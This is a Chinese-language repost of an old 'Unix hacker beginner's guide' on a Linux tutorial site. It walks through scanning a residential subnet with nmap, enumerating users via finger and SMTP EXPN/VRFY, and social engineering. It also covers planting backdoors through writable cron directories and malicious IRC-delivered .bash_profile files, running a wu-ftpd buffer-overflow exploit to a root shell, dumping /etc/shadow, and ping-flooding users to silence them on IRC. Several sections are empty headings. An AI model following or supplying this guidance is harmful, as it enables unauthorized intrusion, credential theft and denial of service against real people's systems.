歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Unix知識 >> 關於Unix

Unix黑客初學者指導


首先說一下寫這篇文章的目的,近來越來越多的人問我諸如“我如何能夠黑了hotmail”或者aol等等一些其它的愚蠢的問題。這篇文章將確實的向你解釋關於“hack”的一些知識。如果你是個初學者,你應當從頭到尾通讀這篇文章,或者如果你已經進階了,那就別再往下看了,你應該全都了解的。我或許將往這篇文章中添加一些內容或者讓他變得更易於理解。我寫這篇文章的最根本的原因是,讓別人不再來問我或者其他人如何去做*愚蠢*的事,是的,問如何去黑(how to hack)是*愚蠢*的,它讓你看起來愚蠢並且學不到任何東西,當然除非你完全不能自學的話。
起初當我想弄亂別人的電腦時,我只是一個中學的小孩子。我問別人有關病毒和木馬的事,並且使用它們,那時我是一個lamer(瘸子,不完整的)。我在學校裡問別人並且最終發現一個對hacking感興趣的人。他向我展示一些技巧,我付給他錢。(snowblue:現在有SQL,無用等一些高手義務的幫助你們,而你們卻不好好的珍惜)他使用UNIX很多年了,他叫我去找一個shell。我不知道那是什麼意思。他說那是對UNIX系統的訪問權限。我仍然有點迷惑,最終我得到了一個shell。我讀所有我能夠找到的,把所有的時間都花在計算機上,我開始對社會和現實世界失去興趣。那時候我每天在計算機上花的時間超過12個小時。我讀任何找到的資料,我讀的第一篇文章是"mostly harmless hacking"(幾乎沒有破壞性的入侵),我對它很感興趣。起初我只會用一些圖形模式的工具來做一些像改變關機屏幕的簡單的事。做有關hacking的網站,盡管我並不知道hacking究竟是什麼。我收集windows下的木馬和病毒等一些工具,盡管那並不是hacking,但那時候我喜歡它們。隨後我開始用郵件炸彈,flooder,DoS。當我對他們有了了解後,(我意識到那並不是hacking)我回去繼續尋找shell。當時我所能找到的免費的shell都是非常簡單的。我聽說了有關linux的一些事。我問我學校的“黑客朋友”,他說不要用linux,用真正的UNIX。他搬到了PA,從那以後我再也沒有他的音訊。我試圖找到他並感謝它所教給我的,但沒有成功。我得到了一個linux。安裝是文本模式的,但它運行很迅速,它比windows要可亂說話多了,從不死機。但我的56k modem不能工作,我跑到了IRC問有關linux的問題。我發現了我的modem是一種叫winmodem的,win-moden是由軟件控制的,他們通常比硬件modem慢,並且不能再linux下工作。(snowblue:現在大多數的modem在linux下都有驅動,你可以自己尋找)我在命令行下模式工作,看自己能夠干些什麼。最終我花了100美元買了一個linux兼容的modem。我讓他工作,這太棒了。從那以後我就使用它,並且仍然可以在那上面學到更多的東西。我的父母說我“對計算機著魔了”,我試圖解釋我並沒有。我從沒有對它感到厭煩,我一直能夠學到新的東西。那段時間裡,我失去了一些朋友,退出了大學足球隊。所有的一切僅僅是為了這該死的機器。希望某人可以發現這篇文章很有用。
目錄
1. 普通的知識
2. 需要的東西
3. 簡單的入侵
4. 如何進入
5. 列舉
6. 常見的失誤
7. 緩沖溢出
8. 防火牆
9. 進入之後干些什麼
10. 如何才能不被抓住
11. 清除紀錄
12. 用途
13. 我對破壞者的看法
否認聲明:
閱讀這篇文章說明你同意隸屬於r00t-access的任何人都不對你通過看這篇文章所造成的任何後果負責
需要的東西:
1. - superscan (for windows)
2. - nmap (for unix)
3. - full shell access (the very best is if you have linux or bsd or solaris or another unix OS)
4. - compiler on the shell
5. - wingates (you can use them as telnet proxys)
容易的目標:
3. 這裡我講一下如何找到一些容易的目標
2. 掃描一個有很多服務的cable或者dsl子網,你可以用nmap,端口的狀態應當是open而不是close或者filtered,nmap的掃描報告會告訴你的。我將不會告訴你如何使用namp,原因是man page已經有作夠的信息了。
3. 確保nmap已經被安裝了。使用下面我給出的命令
(注意:$是一個普通的用戶,而#則是超級用戶。作為例子,我用了24.112.*.*,吧它替換成你想要掃瞄的ip)
$ nmap -p 21,23 24.112.*.*
進入:
4. 為了能夠進入,你應當收集盡可能多的有關目標主機的信息。由於這是你的第一次入侵,所以確保它有一個笨笨的管理員。然後你可以使用exploit。我將在後面詳細解釋
列舉:
5. Ok 我們找到了目標。現在讓我們得到更多的信息。首先來telnet它的79端口。如果它是打開的,你就可以得到以登陸用戶的信息。僅僅是telnet然後按下回車。
讓我們假定端口是打開的並且允許我們查看在線用戶。看下面的例子:
$ telnet target.domain 79
Trying IPaddress...
Connected to target.domain.
Escape character is ^].
Login Name Tty Idle Login Time Office Office Phone
gt grahm crackhead /1 Sep 1 12:01
$ telnet target.domain 25
Trying IPaddress...
Connected to target.domain.
Escape character is ^].
220 target.domain ESMTP Sendmail 8.9.3/8.9.3; Fri, 1 Sep 2000 12:11:00 -0400
expn wally
250 Wally Kolcun
vrfy wally
250 Wally Kolcun
expn Billy
550 BIlly... User Unknown
就像你所看到的,我telnet到他們的smtp,敲入expn,然後系統告訴我這是不是一個有效的用戶,最後我給出了一個用戶不存在的例子,當我敲入expn Billy,系統告訴我用戶不存在,然後我知道這不是一個合法的用戶。這同樣可以幫助你得到他們的email,然後你就可以嘗試一下社會工程學。
另一個搜集用戶名的方法可以是利用usenet, altavista,你可以搜索一下新聞組,或許可以得到一些有用的信息。
另一些可以利用的進程是 systat netstat等等。
telnet還可以幫助你判斷出對方的操作系統,當你想exploit時這是非常重要的。當telnet時,有些會給出系統信息,如下所示:
Trying IPaddress...
Connected to target.domain.
Escape character is ^].
Red Hat Linux release 6.1 (Cartman)
Kernal 2.2.12-20 on an i586
login:
你可以看到,系統是redhat 6.1
有些時候你可以使用社會工程學,拿Kevin Mitnick舉個例子。它使用社會工程學進入了Novell,一個很大的系統。它所作的只是像一個在那裡工作的人那樣和別人交談。他知道當時那裡的某人正在度假,但是他知道某人的名字。他打電話到了Novell的辦公室找那個人,然後秘書告訴他那個人正在度假,然後他說它需要和那個人聯系,於是它便從秘書那裡得到了那個人的信息。
常見的失誤:
6. 人們會時不時的犯一些錯誤。這可以幫助你進入。某些人並不是很好的管理員。一個十分普遍的失誤是權限設置上的錯誤。有些系統對所有人都開放了write權限。這是一個很大的問題。讓我們舉個例子。某人把cron.daily的write權限開放給所有人。你就可以上傳一個後門程序並通過cron進程來執行,從而得到系統的訪問權。
現在讓我來告訴你最可怕的事。假如某個用戶在系統上使用IRC,並且如果它把dcc文件傳送設置為自動接收,接受目錄為他的主目錄。你就可以傳給他一個.bash_profile,文件寫的好的話,可以讓他做一些事。例如添加一個用戶,或者把密碼郵寄給某人。很顯然這是進入系統的最簡單的方法。
緩沖溢出/exploiting:
7. 我不打算對緩沖溢出講得太深,我只想借是那是什麼然後進入下一節。
緩沖溢出—在進程上有一個叫緩沖限制的東西。緩沖限制限制了進入的字節數。某些情況下,你可以通過特殊的代碼讓緩沖區溢出來得到一個root用戶或者普通用戶。有一個例子是wu-ftpd 2.6.0 (1)的緩沖溢出。下面我將告訴你:
$ gcc wuftpd-god.c -o wuftpd-god
$ ./wuftpd-god -h
Usage: ./wuftpd-god -t [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]
[-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]
target : host with any wuftpd
user : anonymous user
dir : if not anonymous user, you need to have writable directory
magic_str : magic string (see exploit description)
-g : enables magic string digging
-x : enables test mode
pass_addr : pointer to setproctitle argument
ret_addr : this is pointer to shellcode
systypes:
0 - RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
1 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm
2 - SuSe 6.3 with wuftpd 2.6.0(1) from rpm
3 - SuSe 6.4 with wuftpd 2.6.0(1) from rpm
4 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)
5 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports
* 6 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages
7 - FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports
8 - FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages
$ ./wuftpd-god -s0 -t target.domain
Target: target.domain (ftp/): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152
loggin into system..
[32mUSER ftp
[0m331 Guest login ok, send your complete e-mail address as password.
[32mPASS
[0m230-Next time please use your e-mail address as your password
230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our return address by format string
Linux melmac 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)
#
當然,如果系統打了exploit的補丁,你或許想知道root的口令是什麼。可以敲下面的命令:
(如果沒有經過shadow,口令被存放於/etc/passwd)
# cat /etc/shadow > /root/passwd
root:34jk3h4jh3.,;8363:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
sympa:x:89:89:Sympa Mailing list manager:/home/sympa:/bin/bash
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
xfs:x:100:103:X Font Server:/etc/X11/fs:/bin/false
fax:x:10:14:Fax Master:/home/fax/:/bin/bash
postfix:x:101:233:postfix:/var/spool/postfix:
gdm:x:42:235::/home/gdm:/bin/bash
grim:9hu.u8:501:501:grim:/home/grim:/bin/bash
banal:x:102:236:BANAL Administrator:/home/banal:/bin/bash
bleeb:36.34/363;86:502:506::/home/bleeb:/bin/bash
防火牆:
進入以後做什麼:
如何才能不被抓住:
10. 最主要的事是。別干*蠢*事。如果你想保住那個shell,不要破壞那個系統,不要刪除他們的文件,不過或許你需要修改他們的紀錄。這就是我想說的。
清除紀錄:
用途:
12. 我一向都擁有超過一個root shell。我在那上面運行nmap和saint來隱藏我自己的主機。或許我會在那上面設置一個web proxy/bnc。Saint是一個很好的工具。它可以告訴你系統有些什麼漏洞。你可以在遠程很容易的使用它。有時當我看不慣某人的時候,我就flood他們,就像這樣:
# ping -f -c 50 -s 4500 IPaddress
.........................................................
...........................................................
.........E...........E...EE........E..................E.......
..............E.......E.EEE...................E.E......
Host unreatchable.
有人認為這是lame的,但是我通過這樣來讓某人在IRC裡閉嘴。
破壞者:
13. 在這篇文章中我沒有談到hacking,實際上我我所涉及的只是cracking,我並不破壞系統,可能永遠都不會。並不是我沒有這個能力而是因為這是不對的。再加上如果你被抓住了你或許會因為你的破壞而坐幾年牢。我不喜歡人們把hacking和cracking混為一談
ok 寫完了。如果你有問題的話,可以聯系我,但請不要問諸如如何去黑的問題。不久我將建一個telnet的BBS。
Copyright © Linux教程網 All Rights Reserved